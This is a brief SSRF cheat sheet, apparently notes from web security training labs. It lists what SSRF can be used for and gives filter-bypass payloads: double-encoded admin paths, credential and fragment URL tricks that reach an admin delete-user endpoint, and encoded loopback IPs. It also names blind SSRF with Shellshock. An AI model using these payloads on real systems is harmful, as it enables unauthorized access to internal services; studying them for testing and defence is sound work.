SSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.
Common exploitation paths:
Accessing Cloud metadata
Leaking files on the server
Network discovery, port scanning with the SSRF
Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server
Identify Potential SSRF Entry Points
🔍 Look for parameters, headers, and input fields that accept URLs:
#Encode at least one character two/three times and send the request
http://127.0.0.1/%61dmin #<- a is encoded
http://127.0.0.1/%2561dmin
http://127.1/%61dmin
http://127.1/%2561dmin
#Enconde the (#) more than two times and try to use credentials
http://username@stock.weliketoshop.net/
http://username#@stock.weliketoshop.net/
http://127.0.0.1%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos
#Obfuscation & Encoding:
http://127.0.0.1 → http://2130706433 (Decimal IP)
http://127.0.0.1 → http://0x7f000001 (Hexadecimal)
http://127.0.0.1 → http://127.1 (Shortened IP)
Blind SSRF with Shellshock exploitation
Burp suite Detection via collaborator-everywhere pro
